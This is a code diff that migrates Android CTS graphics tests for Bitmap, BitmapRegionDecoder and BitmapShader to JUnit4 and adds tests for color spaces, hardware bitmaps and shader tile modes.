+        assertEquals(0xff0f1421, mOpaqueBitmap.getPixel(1, 0));
+        assertEquals(0xff101523, mOpaqueBitmap.getPixel(2, 0));
+
+        // Opaque pixels from transparent bitmap
+        assertEquals(0xffff0000, mTransparentBitmap.getPixel(0, 0));
+        assertEquals(0xff00ff00, mTransparentBitmap.getPixel(1, 0));
+        assertEquals(0xff0000ff, mTransparentBitmap.getPixel(2, 0));
+
+        // Transparent pixels from transparent bitmap
+        assertEquals(0x7fff0000, mTransparentBitmap.getPixel(61, 63));
+        assertEquals(0x7f00ff00, mTransparentBitmap.getPixel(62, 63));
+        assertEquals(0x7f0000ff, mTransparentBitmap.getPixel(63, 63));
+    }
+
+    @Test
+    public void testSetPixel() {
+        int before = mOpaqueBitmap.getPixel(5, 5);
+        mOpaqueBitmap.setPixel(5, 5, 0x7f102030);
+        int after = mOpaqueBitmap.getPixel(5, 5);
+        assertTrue(before != after);
+        assertEquals(0x7f102030, after);
+
+        before = mTransparentBitmap.getPixel(5, 5);
+        mTransparentBitmap.setPixel(5, 5, 0x7f102030);
+        after = mTransparentBitmap.getPixel(5, 5);
+        assertTrue(before != after);
+        assertEquals(0x7f102030, after);
+    }
+
+    @Test
+    public void testCopyFromA8() {
+        Bitmap res = BitmapFactory.decodeResource(mResources, R.drawable.alpha_mask);
+        Bitmap mask = Bitmap.createBitmap(res.getWidth(), res.getHeight(),
+                Bitmap.Config.ALPHA_8);
+        Canvas c = new Canvas(mask);
+        c.drawBitmap(res, 0, 0, null);
+
+        Bitmap b = mask.copy(Config.RGBA_F16, false);
+        assertNotNull(b);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 328d9ed..aea201c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -16,6 +16,13 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -24,13 +31,18 @@
 import android.graphics.BitmapRegionDecoder;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorSpace;
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import android.graphics.cts.R;
-
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -40,71 +52,94 @@
 import java.io.InputStream;
 import java.util.ArrayList;
 
-public class BitmapRegionDecoderTest extends InstrumentationTestCase {
-    private static final String TAG = "BitmapRegionDecoderTest";
-    private ArrayList<File> mFilesCreated = new ArrayList<File>(
-            NAMES_TEMP_FILES.length);
-
-    private Resources mRes;
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapRegionDecoderTest {
     // The test images, including baseline JPEGs and progressive JPEGs, a PNG,
     // a WEBP, a GIF and a BMP.
-    private static int[] RES_IDS = new int[] {
+    private static final int[] RES_IDS = new int[] {
             R.drawable.baseline_jpeg, R.drawable.progressive_jpeg,
             R.drawable.baseline_restart_jpeg,
             R.drawable.progressive_restart_jpeg,
             R.drawable.png_test, R.drawable.webp_test,
             R.drawable.gif_test, R.drawable.bmp_test
     };
-    private static String[] NAMES_TEMP_FILES = new String[] {
-        "baseline_temp.jpg", "progressive_temp.jpg", "baseline_restart_temp.jpg",
-        "progressive_restart_temp.jpg", "png_temp.png", "webp_temp.webp",
-        "gif_temp.gif", "bmp_temp.bmp"
+    private static final String[] NAMES_TEMP_FILES = new String[] {
+            "baseline_temp.jpg", "progressive_temp.jpg", "baseline_restart_temp.jpg",
+            "progressive_restart_temp.jpg", "png_temp.png", "webp_temp.webp",
+            "gif_temp.gif", "bmp_temp.bmp"
+    };
+
+    // Do not change the order!
+    private static final String[] ASSET_NAMES = {
+            "prophoto-rgba16f.png",
+            "green-p3.png",
+            "red-adobergb.png",
+            "green-srgb.png",
+    };
+    private static final ColorSpace.Named[][] ASSET_COLOR_SPACES = {
+            // ARGB8888
+            {
+                    ColorSpace.Named.LINEAR_EXTENDED_SRGB,
+                    ColorSpace.Named.DISPLAY_P3,
+                    ColorSpace.Named.ADOBE_RGB,
+                    ColorSpace.Named.SRGB
+            },
+            // RGB565
+            {
+                    ColorSpace.Named.SRGB,
+                    ColorSpace.Named.SRGB,
+                    ColorSpace.Named.SRGB,
+                    ColorSpace.Named.SRGB
+            }
     };
 
     // The width and height of the above image.
     // -1 denotes that the image format is not supported by BitmapRegionDecoder
-    private static int WIDTHS[] = new int[] {
+    private static final int WIDTHS[] = new int[] {
             1280, 1280, 1280, 1280, 640, 640, -1, -1};
-    private static int HEIGHTS[] = new int[] {960, 960, 960, 960, 480, 480, -1, -1};
+    private static final int HEIGHTS[] = new int[] {960, 960, 960, 960, 480, 480, -1, -1};
 
     // The number of test images, format of which is supported by BitmapRegionDecoder
-    private static int NUM_TEST_IMAGES = 6;
+    private static final int NUM_TEST_IMAGES = 6;
 
-    private static int TILE_SIZE = 256;
+    private static final int TILE_SIZE = 256;
+    private static final int SMALL_TILE_SIZE = 16;
 
     // Configurations for BitmapFactory.Options
-    private static Config[] COLOR_CONFIGS = new Config[] {Config.ARGB_8888,
+    private static final Config[] COLOR_CONFIGS = new Config[] {Config.ARGB_8888,
             Config.RGB_565};
-    private static int[] SAMPLESIZES = new int[] {1, 4};
-
-    private int[] mExpectedColors = new int [TILE_SIZE * TILE_SIZE];
-    private int[] mActualColors = new int [TILE_SIZE * TILE_SIZE];
+    private static final int[] SAMPLESIZES = new int[] {1, 4};
 
     // We allow a certain degree of discrepancy between the tile-based decoding
     // result and the regular decoding result, because the two decoders may have
     // different implementations. The allowable discrepancy is set to a mean
     // square error of 3 * (1 * 1) among the RGB values.
-    private int mMseMargin = 3 * (1 * 1);
+    private static final int MSE_MARGIN = 3 * (1 * 1);
 
     // MSE margin for WebP Region-Decoding for 'Config.RGB_565' is little bigger.
-    private int mMseMarginWebPConfigRgb565 = 8;
+    private static final int MSE_MARGIN_WEB_P_CONFIG_RGB_565 = 8;
 
+    private final int[] mExpectedColors = new int [TILE_SIZE * TILE_SIZE];
+    private final int[] mActualColors = new int [TILE_SIZE * TILE_SIZE];
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mRes = getInstrumentation().getTargetContext().getResources();
+    private ArrayList<File> mFilesCreated = new ArrayList<>(NAMES_TEMP_FILES.length);
+
+    private Resources mRes;
+
+    @Before
+    public void setup() {
+        mRes = InstrumentationRegistry.getTargetContext().getResources();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() {
         for (File file : mFilesCreated) {
             file.delete();
         }
-        super.tearDown();
     }
 
+    @Test
     public void testNewInstanceInputStream() throws IOException {
         for (int i = 0; i < RES_IDS.length; ++i) {
             InputStream is = obtainInputStream(RES_IDS[i]);
@@ -124,6 +159,7 @@
         }
     }
 
+    @Test
     public void testNewInstanceByteArray() throws IOException {
         for (int i = 0; i < RES_IDS.length; ++i) {
             byte[] imageData = obtainByteArray(RES_IDS[i]);
@@ -139,6 +175,7 @@
         }
     }
 
+    @Test
     public void testNewInstanceStringAndFileDescriptor() throws IOException {
         for (int i = 0; i < RES_IDS.length; ++i) {
             String filepath = obtainPath(i);
@@ -161,6 +198,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testDecodeRegionInputStream() throws IOException {
         Options opts = new BitmapFactory.Options();
         for (int i = 0; i < NUM_TEST_IMAGES; ++i) {
@@ -175,10 +214,10 @@
                     Bitmap wholeImage = BitmapFactory.decodeStream(is2, null, opts);
 
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
-                        compareRegionByRegion(decoder, opts, mMseMarginWebPConfigRgb565,
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
                     } else {
-                        compareRegionByRegion(decoder, opts, mMseMargin, wholeImage);
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN, wholeImage);
                     }
                     wholeImage.recycle();
                 }
@@ -186,6 +225,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testDecodeRegionInputStreamInBitmap() throws IOException {
         Options opts = new BitmapFactory.Options();
         for (int i = 0; i < NUM_TEST_IMAGES; ++i) {
@@ -205,10 +246,10 @@
                             wholeImage.getWidth(), wholeImage.getHeight(), opts.inPreferredConfig);
 
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
-                        compareRegionByRegion(decoder, opts, mMseMarginWebPConfigRgb565,
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
                     } else {
-                        compareRegionByRegion(decoder, opts, mMseMargin, wholeImage);
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN, wholeImage);
                     }
                     wholeImage.recycle();
                 }
@@ -216,6 +257,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testDecodeRegionByteArray() throws IOException {
         Options opts = new BitmapFactory.Options();
         for (int i = 0; i < NUM_TEST_IMAGES; ++i) {
@@ -231,10 +274,10 @@
                             0, imageData.length, opts);
 
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
-                        compareRegionByRegion(decoder, opts, mMseMarginWebPConfigRgb565,
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
                     } else {
-                        compareRegionByRegion(decoder, opts, mMseMargin, wholeImage);
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN, wholeImage);
                     }
                     wholeImage.recycle();
                 }
@@ -242,6 +285,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testDecodeRegionStringAndFileDescriptor() throws IOException {
         Options opts = new BitmapFactory.Options();
         for (int i = 0; i < NUM_TEST_IMAGES; ++i) {
@@ -255,10 +300,10 @@
                         BitmapRegionDecoder.newInstance(filepath, false);
                     Bitmap wholeImage = BitmapFactory.decodeFile(filepath, opts);
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
-                        compareRegionByRegion(decoder, opts, mMseMarginWebPConfigRgb565,
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
                     } else {
-                        compareRegionByRegion(decoder, opts, mMseMargin, wholeImage);
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN, wholeImage);
                     }
 
                     ParcelFileDescriptor pfd1 = obtainParcelDescriptor(filepath);
@@ -267,10 +312,10 @@
                     ParcelFileDescriptor pfd2 = obtainParcelDescriptor(filepath);
                     FileDescriptor fd2 = pfd2.getFileDescriptor();
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
-                        compareRegionByRegion(decoder, opts, mMseMarginWebPConfigRgb565,
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
                     } else {
-                        compareRegionByRegion(decoder, opts, mMseMargin, wholeImage);
+                        compareRegionByRegion(decoder, opts, MSE_MARGIN, wholeImage);
                     }
                     wholeImage.recycle();
                 }
@@ -278,6 +323,7 @@
         }
     }
 
+    @Test
     public void testRecycle() throws IOException {
         InputStream is = obtainInputStream(RES_IDS[0]);
         BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
@@ -312,6 +358,8 @@
     //     (2) The width, height, and Config of inBitmap are never changed.
     //     (3) All of the pixels decoded into inBitmap exactly match the pixels
     //         of a decode where inBitmap is NULL.
+    @LargeTest
+    @Test
     public void testInBitmapReuse() throws IOException {
         Options defaultOpts = new BitmapFactory.Options();
         Options reuseOpts = new BitmapFactory.Options();
@@ -381,6 +429,157 @@
         }
     }
 
+    @Test
+    public void testDecodeHardwareBitmap() throws IOException {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inPreferredConfig = Bitmap.Config.HARDWARE;
+        InputStream is = obtainInputStream(RES_IDS[0]);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        Bitmap hardwareBitmap = decoder.decodeRegion(new Rect(0, 0, 10, 10), options);
+        assertNotNull(hardwareBitmap);
+        // Test that checks that correct bitmap was obtained is in uirendering/HardwareBitmapTests
+        assertEquals(Config.HARDWARE, hardwareBitmap.getConfig());
+    }
+
+    @Test
+    public void testOutColorType() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        for (int i = 0; i < NUM_TEST_IMAGES; ++i) {
+            for (int j = 0; j < SAMPLESIZES.length; ++j) {
+                for (int k = 0; k < COLOR_CONFIGS.length; ++k) {
+                    opts.inSampleSize = SAMPLESIZES[j];
+                    opts.inPreferredConfig = COLOR_CONFIGS[k];
+
+                    InputStream is1 = obtainInputStream(RES_IDS[i]);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    Bitmap region = decoder.decodeRegion(
+                            new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+                    decoder.recycle();
+
+                    assertSame(opts.inPreferredConfig, opts.outConfig);
+                    assertSame(opts.outConfig, region.getConfig());
+                    region.recycle();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testOutColorSpace() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        for (int i = 0; i < ASSET_NAMES.length; i++) {
+            for (int j = 0; j < SAMPLESIZES.length; ++j) {
+                for (int k = 0; k < COLOR_CONFIGS.length; ++k) {
+                    opts.inPreferredConfig = COLOR_CONFIGS[k];
+
+                    String assetName = ASSET_NAMES[i];
+                    InputStream is1 = obtainInputStream(assetName);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    Bitmap region = decoder.decodeRegion(
+                            new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
+                    decoder.recycle();
+
+                    ColorSpace expected = ColorSpace.get(ASSET_COLOR_SPACES[k][i]);
+                    assertSame(expected, opts.outColorSpace);
+                    assertSame(expected, region.getColorSpace());
+                    region.recycle();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testReusedColorSpace() throws IOException {
+        Bitmap b = Bitmap.createBitmap(SMALL_TILE_SIZE, SMALL_TILE_SIZE, Config.ARGB_8888,
+                false, ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+
+        Options opts = new BitmapFactory.Options();
+        opts.inBitmap = b;
+
+        // sRGB
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(
+                obtainInputStream(ASSET_NAMES[3]), false);
+        Bitmap region = decoder.decodeRegion(
+                new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
+        decoder.recycle();
+
+        assertEquals(ColorSpace.get(ColorSpace.Named.SRGB), region.getColorSpace());
+
+        // DisplayP3
+        decoder = BitmapRegionDecoder.newInstance(obtainInputStream(ASSET_NAMES[1]), false);
+        region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
+        decoder.recycle();
+
+        assertEquals(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), region.getColorSpace());
+    }
+
+    @Test
+    public void testInColorSpace() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        for (int i = 0; i < NUM_TEST_IMAGES; ++i) {
+            for (int j = 0; j < SAMPLESIZES.length; ++j) {
+                opts.inSampleSize = SAMPLESIZES[j];
+                opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
+
+                InputStream is1 = obtainInputStream(RES_IDS[i]);
+                BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+                decoder.recycle();
+
+                assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), opts.outColorSpace);
+                assertSame(opts.outColorSpace, region.getColorSpace());
+                region.recycle();
+            }
+        }
+    }
+
+    @Test
+    public void testInColorSpaceRGBA16F() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
+
+        InputStream is1 = obtainInputStream(ASSET_NAMES[0]); // ProPhoto 16 bit
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        Bitmap region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
+        decoder.recycle();
+
+        assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), region.getColorSpace());
+        region.recycle();
+    }
+
+    @Test
+    public void testInColorSpace565() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        opts.inPreferredConfig = Config.RGB_565;
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
+
+        InputStream is1 = obtainInputStream(ASSET_NAMES[1]); // Display P3
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        Bitmap region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
+        decoder.recycle();
+
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), region.getColorSpace());
+        region.recycle();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInColorSpaceNotRgb() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.CIE_LAB);
+        InputStream is1 = obtainInputStream(RES_IDS[0]);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInColorSpaceNoTransferParameters() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+        InputStream is1 = obtainInputStream(RES_IDS[0]);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+    }
+
     private void compareRegionByRegion(BitmapRegionDecoder decoder,
             Options opts, int mseMargin, Bitmap wholeImage) {
         int width = decoder.getWidth();
@@ -418,7 +617,7 @@
         }
     }
 
-    private Bitmap cropBitmap(Bitmap wholeImage, Rect rect) {
+    private static Bitmap cropBitmap(Bitmap wholeImage, Rect rect) {
         Bitmap cropped = Bitmap.createBitmap(rect.width(), rect.height(),
                 wholeImage.getConfig());
         Canvas canvas = new Canvas(cropped);
@@ -431,6 +630,10 @@
         return mRes.openRawResource(resId);
     }
 
+    private InputStream obtainInputStream(String assetName) throws IOException {
+        return mRes.getAssets().open(assetName);
+    }
+
     private byte[] obtainByteArray(int resId) throws IOException {
         InputStream is = obtainInputStream(resId);
         ByteArrayOutputStream os = new ByteArrayOutputStream();
@@ -446,7 +649,7 @@
     }
 
     private String obtainPath(int idx) throws IOException {
-        File dir = getInstrumentation().getTargetContext().getFilesDir();
+        File dir = InstrumentationRegistry.getTargetContext().getFilesDir();
         dir.mkdirs();
         File file = new File(dir, NAMES_TEMP_FILES[idx]);
         InputStream is = obtainInputStream(RES_IDS[idx]);
@@ -462,11 +665,10 @@
         return (file.getPath());
     }
 
-    private ParcelFileDescriptor obtainParcelDescriptor(String path)
+    private static ParcelFileDescriptor obtainParcelDescriptor(String path)
             throws IOException {
         File file = new File(path);
-        return(ParcelFileDescriptor.open(file,
-                ParcelFileDescriptor.MODE_READ_ONLY));
+        return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
     }
 
 
@@ -513,7 +715,7 @@
         }
     }
 
-    private double distance(int exp, int actual) {
+    private static double distance(int exp, int actual) {
         int r = Color.red(actual) - Color.red(exp);
         int g = Color.green(actual) - Color.green(exp);
         int b = Color.blue(actual) - Color.blue(exp);
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
index 4331581..0b4f29f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
@@ -15,19 +15,25 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.BitmapShader;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Shader;
-import android.graphics.Bitmap.Config;
-import android.graphics.Shader.TileMode;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class BitmapShaderTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapShaderTest {
     private static final int TILE_WIDTH = 20;
     private static final int TILE_HEIGHT = 20;
     private static final int BORDER_WIDTH = 5;
@@ -35,6 +41,7 @@
     private static final int CENTER_COLOR = Color.RED;
     private static final int NUM_TILES = 4;
 
+    @Test
     public void testBitmapShader() {
         Bitmap tile = Bitmap.createBitmap(TILE_WIDTH, TILE_HEIGHT, Config.ARGB_8888);
         tile.eraseColor(BORDER_COLOR);
@@ -56,7 +63,7 @@
 
         for (int y = 0; y < NUM_TILES; y++) {
             for (int x = 0; x < NUM_TILES; x++) {
-                checkTile(b, x * TILE_WIDTH, y * TILE_HEIGHT);
+                verifyTile(b, x * TILE_WIDTH, y * TILE_HEIGHT);
             }
         }
     }
@@ -65,14 +72,14 @@
      * Check the colors of the tile at the given coordinates in the given
      * bitmap.
      */
-    private void checkTile(Bitmap bitmap, int tileX, int tileY) {
+    private void verifyTile(Bitmap bitmap, int tileX, int tileY) {
         for (int y = 0; y < TILE_HEIGHT; y++) {
             for (int x = 0; x < TILE_WIDTH; x++) {
                 if (x < BORDER_WIDTH || x >= TILE_WIDTH - BORDER_WIDTH ||
                     y < BORDER_WIDTH || y >= TILE_HEIGHT - BORDER_WIDTH) {
-                    assertColor(BORDER_COLOR, bitmap, x + tileY, y + tileY);
+                    verifyColor(BORDER_COLOR, bitmap, x + tileX, y + tileY);
                 } else {
-                    assertColor(CENTER_COLOR, bitmap, x + tileY, y + tileY);
+                    verifyColor(CENTER_COLOR, bitmap, x + tileX, y + tileY);
                 }
             }
         }
@@ -83,11 +90,75 @@
      * matches the given color. Simply returns if the coordinates are outside
      * the bitmap area.
      */
-    private void assertColor(int color, Bitmap bitmap, int x, int y) {
+    private void verifyColor(int color, Bitmap bitmap, int x, int y) {
         if (x < bitmap.getWidth() && y < bitmap.getHeight()) {
             assertEquals(color, bitmap.getPixel(x, y));
-        } else {
-            return;
         }
     }
+
+    @Test
+    public void testClamp() {
+        Bitmap bitmap = Bitmap.createBitmap(2, 1, Config.ARGB_8888);
+        bitmap.setPixel(0, 0, Color.RED);
+        bitmap.setPixel(1, 0, Color.BLUE);
+
+        BitmapShader shader = new BitmapShader(bitmap,
+                Shader.TileMode.CLAMP, Shader.TileMode.CLAMP);
+
+        Bitmap dstBitmap = Bitmap.createBitmap(4, 1, Config.ARGB_8888);
+        Canvas canvas = new Canvas(dstBitmap);
+        Paint paint = new Paint();
+        paint.setShader(shader);
+        canvas.drawRect(0, 0, 4, 1, paint);
+        canvas.setBitmap(null);
+
+        int[] pixels = new int[4];
+        dstBitmap.getPixels(pixels, 0, 4, 0, 0, 4, 1);
+        Assert.assertArrayEquals(new int[] { Color.RED, Color.BLUE, Color.BLUE, Color.BLUE },
+                pixels);
+    }
+
+    @Test
+    public void testRepeat() {
+        Bitmap bitmap = Bitmap.createBitmap(2, 1, Config.ARGB_8888);
+        bitmap.setPixel(0, 0, Color.RED);
+        bitmap.setPixel(1, 0, Color.BLUE);
+
+        BitmapShader shader = new BitmapShader(bitmap,
+                Shader.TileMode.REPEAT, Shader.TileMode.REPEAT);
+
+        Bitmap dstBitmap = Bitmap.createBitmap(4, 1, Config.ARGB_8888);
+        Canvas canvas = new Canvas(dstBitmap);
+        Paint paint = new Paint();
+        paint.setShader(shader);
+        canvas.drawRect(0, 0, 4, 1, paint);
+        canvas.setBitmap(null);
+
+        int[] pixels = new int[4];
+        dstBitmap.getPixels(pixels, 0, 4, 0, 0, 4, 1);
+        Assert.assertArrayEquals(new int[] { Color.RED, Color.BLUE, Color.RED, Color.BLUE },
+                pixels);
+    }
+
+    @Test
+    public void testMirror() {
+        Bitmap bitmap = Bitmap.createBitmap(2, 1, Config.ARGB_8888);
+        bitmap.setPixel(0, 0, Color.RED);
+        bitmap.setPixel(1, 0, Color.BLUE);
+
+        BitmapShader shader = new BitmapShader(bitmap,
+                Shader.TileMode.MIRROR, Shader.TileMode.MIRROR);
+
+        Bitmap dstBitmap = Bitmap.createBitmap(4, 1, Config.ARGB_8888);
+        Canvas canvas = new Canvas(dstBitmap);
+        Paint paint = new Paint();
+        paint.setShader(shader);
+        canvas.drawRect(0, 0, 4, 1, paint);
+        canvas.setBitmap(null);
+
+        int[] pixels = new int[4];
+        dstBitmap.getPixels(pixels, 0, 4, 0, 0, 4, 1);
+        Assert.assertArrayEquals(new int[] { Color.RED, Color.BLUE, Color.BLUE, Color.RED },
+                pixels);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index f820771..417dd69 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -15,147 +15,167 @@
  */
 package android.graphics.cts;
 
-import android.graphics.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.res.Resources;
-import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.CompressFormat;
+import android.graphics.Bitmap.Config;
 import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorSpace;
 import android.graphics.Matrix;
 import android.graphics.Paint;
-import android.graphics.Bitmap.CompressFormat;
-import android.graphics.Bitmap.Config;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.os.StrictMode;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 
+import com.android.compatibility.common.util.ColorUtils;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayOutputStream;
 import java.nio.ByteBuffer;
 import java.nio.CharBuffer;
 import java.nio.IntBuffer;
 import java.nio.ShortBuffer;
 
-public class BitmapTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapTest {
+    // small alpha values cause color values to be pre-multiplied down, losing accuracy
+    private static final int PREMUL_COLOR = Color.argb(2, 255, 254, 253);
+    private static final int PREMUL_ROUNDED_COLOR = Color.argb(2, 255, 255, 255);
+    private static final int PREMUL_STORED_COLOR = Color.argb(2, 2, 2, 2);
+
+    private static final BitmapFactory.Options HARDWARE_OPTIONS = createHardwareBitmapOptions();
+
+    static {
+        System.loadLibrary("ctsgraphics_jni");
+    }
+
     private Resources mRes;
     private Bitmap mBitmap;
     private BitmapFactory.Options mOptions;
 
-    // small alpha values cause color values to be pre-multiplied down, losing accuracy
-    private final int PREMUL_COLOR = Color.argb(2, 255, 254, 253);
-    private final int PREMUL_ROUNDED_COLOR = Color.argb(2, 255, 255, 255);
-    private final int PREMUL_STORED_COLOR = Color.argb(2, 2, 2, 2);
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mRes = getContext().getResources();
+    @Before
+    public void setup() {
+        mRes = InstrumentationRegistry.getTargetContext().getResources();
         mOptions = new BitmapFactory.Options();
         mOptions.inScaled = false;
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
     }
 
-    public void testCompress(){
+    @Test(expected=IllegalStateException.class)
+    public void testCompressRecycled() {
         mBitmap.recycle();
+        mBitmap.compress(CompressFormat.JPEG, 0, null);
+    }
 
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.compress(CompressFormat.JPEG, 0, null);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+    @Test(expected=NullPointerException.class)
+    public void testCompressNullStream() {
+        mBitmap.compress(CompressFormat.JPEG, 0, null);
+    }
 
-        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
+    @Test(expected=IllegalArgumentException.class)
+    public void testCompressQualityTooLow() {
+        mBitmap.compress(CompressFormat.JPEG, -1, new ByteArrayOutputStream());
+    }
 
